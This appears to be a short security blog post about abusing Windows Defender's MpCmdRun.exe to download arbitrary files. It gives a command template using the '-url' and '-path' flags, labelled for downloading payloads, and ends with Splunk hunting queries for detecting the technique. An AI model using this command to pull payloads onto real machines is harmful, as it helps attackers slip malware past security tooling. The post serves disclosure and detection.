Skip to content

Windows Defender official backdoor - Download files from Internet using "MpCmdRun.exe".

Download any files from internet using "MpCmdRun.exe"

Santhosh Baswa

4 September 2020, 1 min read

Recently I found interesting post in twitter, one of the security researcher(Askar) is identified, Microsoft Defender feature it can able to download any files from Internet.

Microsoft Defender is having one of the executable(MpCmdRun.exe) which is used as Malware protection command line utility. This executable having a feature which can take any URL as an input and download files in specific Windows Defender system files path.

Windows Defender File Path:
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpCmdRun.exe

More Info about MpCmdRun.exe binary:

Detailed Info - MpCmdRun.exe

Windows Defender Command Line - MpCmdRun.exe (Download any payload)

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe -url <url> -path <local-path>

Quick & Dirty - Powershell Script - Exploit Code:

Abuse Windows Defender - MpCmdRun.exe - Powershell code

Demo by using CobaltStrike:

Demo - CobaltStrike
Demo - CobaltStrike

BlueTeam - Threat Hunting / Quick & Dirty Detection:

Commandhistoryv2 _raw="*Download*" OR _raw="*URL*" OR _raw="*url*" OR _raw="*download*" OR _raw="*http://*" OR _raw="*https://*" OR _raw="*HTTP://*" OR _raw="*HTTPS://*"
| dedup CommandHistory
| table ComputerName ApplicationName CommandHistory FileName

BlueTeam - Splunk Detection:

Splunk hunting
Splunk - Hunting

References

Written by

Santhosh Baswa

I hunt and defend organisations’ environments, and in my free time I write up what I learn here and give technical sessions in open security communities.

Get new articles by email

One email when something substantial goes up. No tracking pixels, and one click to unsubscribe.